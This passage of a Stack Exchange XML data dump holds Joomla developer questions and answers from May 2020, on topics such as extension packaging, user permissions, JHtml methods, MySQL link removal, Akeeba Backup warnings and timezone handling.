  <row Id="28016" PostTypeId="1" AcceptedAnswerId="28020" CreationDate="2020-05-02T17:18:31.603" Score="1" ViewCount="63" Body="&lt;p&gt;I have an Joomla extension for both v-2.5 &amp;amp; v-3.0 in JED. After updating the v-3.0 extension locally, I uploaded it into JED. I see that there is written_&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;For multiple versions of the extension (ex: one for 2.5 and one for 3.x) zip both together with all modules &amp;amp; plugins you distribute in the same package and put UNZIPFIRST in the zip name.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I understood I have created my folder directory in following way_&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UNZIPFIRST.zip  &#xA; |&#xA; |--2.5&#xA; |    |&#xA; |    |--language&#xA; |    |--packages&#xA; |    |     |&#xA; |    |     |--com_revechat.zip&#xA; |    |     |--plug_revechat.zip&#xA; |    |--pkg_revechat.xml&#xA; |--3.0&#xA; |    |&#xA; |    |--language&#xA; |    |--packages&#xA; |    |    |&#xA; |    |    |--com_revechat.zip&#xA; |    |    |--plug_revechat.zip&#xA; |    |--pkg_revechat.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside pkg_revechat.xml_ &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files folder=&quot;packages&quot;&amp;gt;&#xA;    &amp;lt;file type=&quot;component&quot;&amp;gt;com_revechat.zip&amp;lt;/file&amp;gt;&#xA;    &amp;lt;file type=&quot;plugin&quot; group=&quot;system&quot;&amp;gt;plug_revechat.zip&amp;lt;/file&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&#xA;&amp;lt;languages folder=&quot;language&quot;&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB/en-GB.pkg_revechat.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After uploading UNZIPFIRST.zip when to try to download the v-3.0 extension then downloads the older copy(not updated extension). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone say about my folder structure, is it correct or need to modify? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="14273" LastEditorUserId="14273" LastEditDate="2020-05-03T08:40:09.593" LastActivityDate="2020-05-05T09:29:15.647" Title="Upload multiple versions(ex: 2.5 &amp; 3.0) of the extension as single zip file in JED" Tags="|joomla-3.x|joomla-2.5|extension-update|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28018" PostTypeId="1" AcceptedAnswerId="28021" CreationDate="2020-05-04T12:29:16.820" Score="1" ViewCount="156" Body="&lt;p&gt;I have a website that has lots of companies on it. I want every company to have its own login where they can create categories and articles for themselves but only for themselves, they should not even be able to see articles and categories from other companies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this? I am struggling with the permissions function in joomla and no matter what I've tried, when I log in as a company I still see all other articles and categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me out on how to do this? I am on the latest Joomla version 3.9.18.&lt;/p&gt;&#xA;" OwnerUserId="12088" LastActivityDate="2020-05-05T09:05:40.470" Title="How can I create multiple users that can only edit and create articles/categories for their own permission group?" Tags="|joomla-3.x|administrator|user|permissions|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28020" PostTypeId="2" ParentId="28016" CreationDate="2020-05-05T06:54:11.610" Score="1" Body="&lt;p&gt;In case joomla, extensions are uploaded into the clients site. From JED client site is redirected. So don't need to upload extension in above way. Just upload it in your website and share that link for download.  &lt;/p&gt;&#xA;" OwnerUserId="14273" LastEditorUserId="14273" LastEditDate="2020-05-05T09:29:15.647" LastActivityDate="2020-05-05T09:29:15.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28021" PostTypeId="2" ParentId="28018" CreationDate="2020-05-05T09:05:40.470" Score="1" Body="&lt;p&gt;What I would suggest is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up user groups for each of the companies and set the users of that company to belong to that company user group, and only that company user group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to give those company user groups access to the administrator login (global config) and also give them access to the &quot;Special&quot; Viewing Access Level so that they can see the admin menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create Viewing Access Levels for each company and set the &quot;User Groups Having Viewing Access&quot; to each of those access levels to be just the user group for that company. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up top level categories, one for each company, and set the Access on that category to be the Viewing Access Level you set up for that company. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into the Permissions for each of those top level categories, and allow actions by the company user group who has that category and deny actions for other companies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For company C-one set up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User group: C1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewing Access Level: &quot;C1Access&quot;, with User Group having viewing access &quot;C1&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User: &quot;c1user&quot; with Assigned User Group &quot;C1&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top level Category: &quot;CatC1&quot; with Access set to &quot;C1Access&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've already got other categories on the system you will need to set them so that the user groups of the companies don't have access to them. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-05-05T09:05:40.470" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28022" PostTypeId="1" AcceptedAnswerId="28023" CreationDate="2020-05-05T10:08:33.737" Score="0" ViewCount="256" Body="&lt;p&gt;I'm developing a custom library which will be used for custom &lt;code&gt;JHtml&lt;/code&gt; methods:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Uri\Uri;&#xA;&#xA;abstract class JHtmlKipengee&#xA;{&#xA;    protected static $loaded = [];&#xA;&#xA;    public static function modal()&#xA;    {&#xA;        // Only load once&#xA;        if (!empty(static::$loaded[__METHOD__]))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        HTMLHelper::_('script', Uri::root() . 'media/kipengee/js/modal.js', ['version' =&amp;gt; 'auto']);&#xA;&#xA;        static::$loaded[__METHOD__] = true;&#xA;&#xA;        return;&#xA;    }&#xA;}&#xA;&#xA;\JLoader::register('Kipengee', JPATH_LIBRARIES . '/kipengee/kipengee.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also registers the library and everything is working so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, to call the method, I'd like to be able to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTMLHelper::_('kipengee.modal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on its own, however this only works if I use &lt;code&gt;addIncludePath()&lt;/code&gt; too, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTMLHelper::addIncludePath(JPATH_LIBRARIES . '/kipengee');&#xA;HTMLHelper::_('kipengee.modal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would ideally like to be able to register &lt;code&gt;'kipengee.modal'&lt;/code&gt; within the library, and without the use of a system plugin, so that I'm not having to do it every time I call &lt;code&gt;HTMLHelper::_('kipengee.modal');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-05-12T15:07:18.090" Title="Custom JHtml method" Tags="|joomla-3.x|jhtml|htmlhelper|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28023" PostTypeId="2" ParentId="28022" CreationDate="2020-05-05T20:45:19.163" Score="1" Body="&lt;p&gt;Assuming you don't even want to load the class file, this is simply not possible. You must register the &lt;code&gt;JHtml&lt;/code&gt; service or the include paths or load the class. Either manually wherever you want to use it or with a system plugin to do this system-wide.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-05-05T20:45:19.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28024" PostTypeId="1" AcceptedAnswerId="28025" CreationDate="2020-05-06T11:44:58.967" Score="1" ViewCount="135" Body="&lt;p&gt;How do I set the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;'s &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tag in MVC component's code? I know the page title (which would appear on top of the page) can be set in several ways but the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; seems to be only settable from menu item properties. I need to set &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; without using menu items (from component code).&lt;/p&gt;&#xA;" OwnerUserId="14069" LastActivityDate="2020-05-06T11:49:45.847" Title="How to set the &lt;title&gt; tag from component code?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28025" PostTypeId="2" ParentId="28024" CreationDate="2020-05-06T11:49:45.847" Score="2" Body="&lt;p&gt;You can use Joomla's &lt;code&gt;setTitle()&lt;/code&gt; method, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;Factory::getDocument()-&amp;gt;setTitle('My Custom Title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-05-06T11:49:45.847" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28026" PostTypeId="2" ParentId="27888" CreationDate="2020-05-07T07:20:12.633" Score="3" Body="&lt;p&gt;To connect Joomla! to a 3rd party app you will need an API connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install Jbackend on Joomla and use rest API to access the database. &lt;a href=&quot;https://extensions.joomla.org/extension/jbackend/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/jbackend/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install TechJoomla's API &lt;a href=&quot;https://techjoomla.com/free-downloads/rest-api-for-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://techjoomla.com/free-downloads/rest-api-for-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can wait for Joomla! 4 which is currently in Beta and has a built in API. &lt;a href=&quot;https://docs.joomla.org/Joomla_Api_Specification&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Joomla_Api_Specification&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="14281" LastEditorUserId="7164" LastEditDate="2020-06-12T20:40:08.993" LastActivityDate="2020-06-12T20:40:08.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28027" PostTypeId="1" CreationDate="2020-05-07T17:14:11.120" Score="0" ViewCount="82" Body="&lt;p&gt;Trying to use ChristoKiwi's &lt;a href=&quot;https://stackoverflow.com/questions/19356897/removing-links-from-posts-in-wordpress-using-query/61652078#61652078&quot;&gt;https://stackoverflow.com/questions/19356897/removing-links-from-posts-in-wordpress-using-query/61652078#61652078&lt;/a&gt; approach for deleting links in Joomla articles, but having issues with this example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;p&amp;gt;&#xA;   &amp;lt;img&#xA;      class=&quot;responsive caption&quot;&#xA;      style=&quot;margin-right: 10px; float: left;&quot;&#xA;      src=&quot;images/stories/ds/Specials/Mikrosystemtechnik/2019/rohm0119.jpg&quot;&#xA;      alt=&quot;rohm0119&quot;&#xA;   /&amp;gt;&amp;lt;a&#xA;      dir=&quot;ltr&quot;&#xA;      title=&quot;Rohm&quot;&#xA;      href=&quot;https://www.rohm.de/&quot;&#xA;      target=&quot;_blank&quot;&#xA;      rel=&quot;noopener&quot;&#xA;      &amp;gt;Rohm &amp;lt;/a&#xA;   &amp;gt;kündigt mit dem BM14270MUV-LB einen der kleinsten berührungslosen&#xA;   Stromsensoren der Industrie an. Der neue Baustein verbraucht nur minimal&#xA;   Strom und ist mit 3,5 x 3,5 x 1,0 mm sehr kompakt.&amp;amp;nbsp;Damit eignet er sich&#xA;   für Industrieanlagen und Verbrauchergeräte, die Betriebsbedingungen über den&#xA;   Stromfluss erfassen wie batteriebetriebene Drohnen, Solaranlagen und Server&#xA;   in Rechenzentren.&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The query&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&#xA;jos_content SET jos_content.introtext = REPLACE(jos_content.introtext, &#xA;  substring_index( &#xA;    substring_index(jos_content.introtext, 'title=&quot;', -1), '&quot;', 1),'')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;deletes not only the text within the &quot;title&quot; but also the word &quot;Rohm&quot; after the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to delete the entire link with all the attributes completely?&lt;/p&gt;&#xA;" OwnerUserId="14283" LastEditorUserId="14283" LastEditDate="2020-05-07T23:16:50.277" LastActivityDate="2020-05-15T00:00:15.787" Title="Removing links from articles in Joomla using MySQL query" Tags="|mysql|weblinks|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28028" PostTypeId="2" ParentId="28027" CreationDate="2020-05-08T00:28:19.073" Score="1" Body="&lt;p&gt;It appears on review of Christo Kiwi's solution that it only works with a link which has an identical part of which you wish to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your example, I suspect that your link is a variable and so you may need to take a slightly different approach.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You first need to identify the start position and end position of the string component in the intro text that you wish to remove.&lt;/li&gt;&#xA;&lt;li&gt;Once you have found the start and end positions (which you can check using a select statement) then you can build your update/replace based on that. For example, you may need to find the position of &lt;code&gt;&amp;lt;a dir&lt;/code&gt;  and then the position of the next &lt;code&gt;&amp;gt;&lt;/code&gt; after that and use that in your replace string.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would definitely start by creating a SELECT query to make sure that you are correctly getting the article ID and the string part that you wish to replace and then build that into your update query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my particular case, I was looking for multiple links of the same type in intro text so I had to work out the position of the first start and end, then the second start and end, then the third start and end and replace all three.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a snippet of code which may help you - I've used &lt;code&gt;LOCATE()&lt;/code&gt; and &lt;code&gt;SUBSTRING()&lt;/code&gt; to first check that the data I was going to replace was what I was expecting, then I built that into my replace function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;    id,&#xA;    introtext,&#xA;    SUBSTRING(introtext, LOCATE('&amp;lt;li&amp;gt;&amp;lt;a href=&quot;index.php?option=com_docman', introtext), 4 + LOCATE('/li&amp;gt;', introtext, LOCATE('&amp;lt;li&amp;gt;&amp;lt;a href=&quot;index.php?option=com_docman', introtext)) - LOCATE('&amp;lt;li&amp;gt;&amp;lt;a href=&quot;index.php?option=com_docman', introtext)) AS pos1text&#xA;FROM `d8bk2_content` &#xA;WHERE id &amp;gt;395&#xA;  AND introtext LIKE '%&amp;lt;li&amp;gt;&amp;lt;a href=&quot;index.php?option=com_docman%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your case, you would &lt;code&gt;LOCATE('&amp;lt;a dir')&lt;/code&gt; and then the next closing tag etc.&lt;/p&gt;&#xA;" OwnerUserId="12876" LastEditorUserId="12352" LastEditDate="2020-05-08T00:35:58.020" LastActivityDate="2020-05-08T00:35:58.020" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28029" PostTypeId="1" CreationDate="2020-05-08T04:11:04.617" Score="1" ViewCount="785" Body="&lt;p&gt;When setting up a new installation of Joomla and installing my base components, one of these being Akeeba Pro, I now get the following warning:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Akeeba Backup is ready to backup your site, but there are potential issues Default Output directory in use&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I must stress that Akeeba still works fine, but it is annoying seeing an error warning. This has only started happening to me on new installs over the past month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being a little OCD, I would like to fix this error if possible. Would be nice to know also why it started happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I found the following in the documentation of Akeeba, but does not make any difference. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you just transferred or restored your site, Akeeba Backup remembers the output directory path of the site that was backed up. In this case, simply go to Akeeba Backup's Configuration page, find the Output Directory field and enter [DEFAULT_OUTPUT] (all caps, include the brackets) and click on Save.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="146" LastEditorUserId="12352" LastEditDate="2020-05-08T05:24:41.460" LastActivityDate="2020-09-16T14:14:34.850" Title="Akeeba Backup is ready to backup your site, but there are potential issues Default Output directory in use" Tags="|installation|akeebabackup|error-warning|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28031" PostTypeId="2" ParentId="28029" CreationDate="2020-05-08T11:50:54.260" Score="3" Body="&lt;p&gt;You can read about this warning in &lt;strong&gt;Akeeba&lt;/strong&gt; documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Q203 - Default output directory in use&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is more like a &lt;strong&gt;friendly warning&lt;/strong&gt; or you can say &lt;strong&gt;a security warning&lt;/strong&gt; from the developers (not a functional warning). And it is about a relatively insecure &lt;strong&gt;Output Directory&lt;/strong&gt; location set for akeeba backup files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you set the output directory as the default directory then you will have this warning.&lt;/strong&gt; It is because according to the Akeeba developers (due to their understandable paranoia) the default back-up output directory is a too well known directory for hackers and it can be exploited. Thus the developers are suggesting to set an output directory for the akeeba backup files &lt;strong&gt;other than the Default directory!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do that in Akeeba Backup-&gt;Control Panel-&gt;Configuration-&gt;Output Directory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read about this with details here: &lt;a href=&quot;https://www.akeebabackup.com/documentation/warnings/q203.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.akeebabackup.com/documentation/warnings/q203.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2020-05-08T11:50:54.260" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28033" PostTypeId="1" AcceptedAnswerId="28034" CreationDate="2020-05-10T13:45:29.430" Score="4" ViewCount="130" Body="&lt;p&gt;I've been struggling to get the correct date and time in a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set global config to London (i.e. GMT which is currently 1 hour ahead of UTC)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set the date in my component to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2020-05-10 12:50:00 (calendar select box)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this seems to work.  It's stored as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2020-05-10 11:50:00 in the database - so the timezone is being correctly accounted for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then go to retrieve it in my module adjusting for the time zone&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $config = JFactory::getConfig();&#xA;        $debug = $config-&amp;gt;get('offset');&#xA;        $myDateString = $itemStartDate; //the date stored in the db 2020-05-10 11:50:00&#xA;&#xA;        $date = new JDate($myDateString);&#xA;        $date-&amp;gt;setTimezone($debug);&#xA;&#xA;        echo &quot;database date is &quot;.$itemStartDate.&quot; and calculated date is &quot;.$date-&amp;gt;format(JText::_('DATE_FORMAT_FILTER_DATETIME'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The date shown by the echo statement is just the date from the database - it doesn't account for the 1 hour time difference.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in config and there is offset and offset_user - offset is set to Europe/London  and offset_user to UTC (although when I manually change it to Europe/London is makes no difference)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2020-05-12T06:38:01.420" LastActivityDate="2021-02-06T08:03:10.247" Title="Difference between offset and offset_user" Tags="|joomla-3.x|date|timezone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28034" PostTypeId="2" ParentId="28033" CreationDate="2020-05-10T15:38:45.167" Score="4" Body="&lt;p&gt;Answer in the update.  Just needed the correct joomla code!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay seemed to have worked it out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $todayDate = JFactory::getDate('now', $timezoneis);&#xA;        $date = JFactory::getDate($itemStartDate, $timezoneis);&#xA;        $date2 = JHtml::date($itemStartDate , 'Y-m-d H:i:s', $timezoneis);&#xA;        echo &quot;&amp;lt;br&amp;gt;database date is &quot;.$itemStartDate;&#xA;&#xA;        echo &quot; &amp;lt;br&amp;gt;Timezoned date is &quot;.$date.&quot; timezone: &quot;.$timezoneis;&#xA;        echo &quot; &amp;lt;br&amp;gt;Corrected timezoned date2 is &quot;.$date2.&quot; timezone: &quot;.$timezoneis;&#xA;        echo &quot;&amp;lt;br&amp;gt;todays date is &quot;.$todayDate;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$date2 variable gives the corrected time regardless of time zone.  I also corrected $todays date so that it gives todays date correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really badly documented in Joomla so I hope this helps someone struggling to figure it out.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12248" LastEditDate="2020-05-12T06:39:55.997" LastActivityDate="2020-05-12T06:39:55.997" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28035" PostTypeId="2" ParentId="21155" CreationDate="2020-05-10T21:58:00.440" Score="0" Body="&lt;p&gt;After some feedback from &lt;a href=&quot;https://joomla.stackexchange.com/questions/21155/insert-query-with-ignore-of-duplicates-without-key/22966#comment35776_22966&quot;&gt;@Dom&lt;/a&gt;, I think I mostly agree that the other existing answers up to this point are providing hackish techniques on the query which will either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;be less portable&lt;/li&gt;&#xA;&lt;li&gt;lead to inconsistent query building techniques throughout a single project&lt;/li&gt;&#xA;&lt;li&gt;be vulnerable to race conditions&lt;/li&gt;&#xA;&lt;li&gt;and/or diminish script readability&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Some suggested techniques advise to adjust the query (my earlier answer included) to enjoy the features of a limited number of database types.  This means that if/when you want to switch your project to another database, your code will break because the keyword/technique is not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More generally, I think it is best practice to fully utilise Joomla's query building helper methods ...until absolutely necessary to circumvent them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, making two trips to a database (one to check if unique identifiers exist and a second to insert when missing) is not a 100% reliable solution because there is &lt;em&gt;technically&lt;/em&gt; the potential that a concurrent query write can occur on the target row in the moment between the first and the second query executing.  (Not very likely, but possible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make your identifying columns unique:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__parts_analogues` ADD UNIQUE KEY(original_id, analogue_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then execute your insert query normally, but catch the error so that there are never any unexpected interruptions to your application.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query_add_analogue&#xA;  -&amp;gt;insert($db-&amp;gt;quoteName('#__parts_analogues'))&#xA;  -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;  -&amp;gt;values($value);&#xA;$db-&amp;gt;setQuery($query_add_analogue);&#xA;try {&#xA;    $db-&amp;gt;execute();&#xA;} catch (Exception $e) {&#xA;    // do nothing&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know if other databases have a different error number for Duplicate Key errors (anyone is welcome to educate me), but in MySQL it is specifically &lt;code&gt;1062&lt;/code&gt;, so you could even specify which error to ignore and which ones you actually want to acknowledge (in case your query might fail in a different way).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $db-&amp;gt;execute();&#xA;} catch (Exception $e) {&#xA;    if ($e-&amp;gt;getCode() == 1062) {&#xA;        // do nothing with duplicate key failure&#xA;    } else {&#xA;        // log the error or present to screen with enqueueMessage or whatever&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;P.S. You might want to research &lt;code&gt;$db-&amp;gt;insertObject()&lt;/code&gt; to execute the insert as a means of a more concise coding technique.    &lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2020-05-10T21:58:00.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28036" PostTypeId="1" CreationDate="2020-05-11T02:43:21.970" Score="1" ViewCount="57" Body="&lt;p&gt;I have an old Joomla 2.5 site and am trying to upgrade it to the current version. My problem is I need to update some items but I'm not finding the old versions of them for doing that. They are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Gantry Framework v 4.1.32&lt;/li&gt;&#xA;&lt;li&gt;RokCandy Extension (RocketTheme) v 2.0.1&lt;/li&gt;&#xA;&lt;li&gt;RokBox Plugin (RocketTheme) v 2.0.8&lt;/li&gt;&#xA;&lt;li&gt;RokSprocket Module (RocketTheme) v 2.1.2&lt;/li&gt;&#xA;&lt;li&gt;RokGallery Extension (RocketTheme) v 2.29&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I would like to ask is: would anyone have these versions archived to provide me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked the RocketTheme guys if they could provide me these versions but they said to me that is not possible, I don't know why. I would like to avoid to build up this website from the scratch so if there is any good soul out there that can help me I would be very grateful. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think for having success on this task updating all the things in my old Joomla version is mandatory, but if someone has another solution I'm glad to hear his suggestion about.&lt;/p&gt;&#xA;" OwnerUserId="14289" LastEditorUserId="12352" LastEditDate="2020-05-11T03:42:26.450" LastActivityDate="2022-01-31T12:03:05.620" Title="Upgrading an Old Joomla 2.5 Site to 3.x Version" Tags="|joomla-2.5|plugin|extensions|gantry|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28037" PostTypeId="1" AcceptedAnswerId="28040" CreationDate="2020-05-11T07:33:07.873" Score="2" ViewCount="530" Body="&lt;p&gt;I am trying to build a gamelist, right now I'm struggling getting the detailed team information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;#__game&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id     team_home     team_guest&#xA;1      1             2&#xA;2      2             3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;#__team&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id     name&#xA;1      My Team Name&#xA;2      Another Team Name&#xA;3      The third Team&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the user object.&#xA;$user = JFactory::getUser();&#xA;// Get the databse object.&#xA;$db = JFactory::getDBO();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('a.*');&#xA;$query-&amp;gt;select('b.name', 'home_name');&#xA;$query-&amp;gt;select('c.name', 'guest_name');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__game', 'a'));&#xA;$query-&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__team', 'b') . ' ON ' . $db-&amp;gt;quoteName('a.team_home') . ' = ' . $db-&amp;gt;quoteName('b.id'));&#xA;$query-&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__team', 'c') . ' ON ' . $db-&amp;gt;quoteName('a.team_guest') . ' = ' . $db-&amp;gt;quoteName('c.id'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('a.published') . ' = 1');&#xA;$query-&amp;gt;order('a.kickoff ASC');&#xA;// Implement View Level Access (if set in table)&#xA;if (!$user-&amp;gt;authorise('core.options', 'com_component'))&#xA;{&#xA;    $columns = 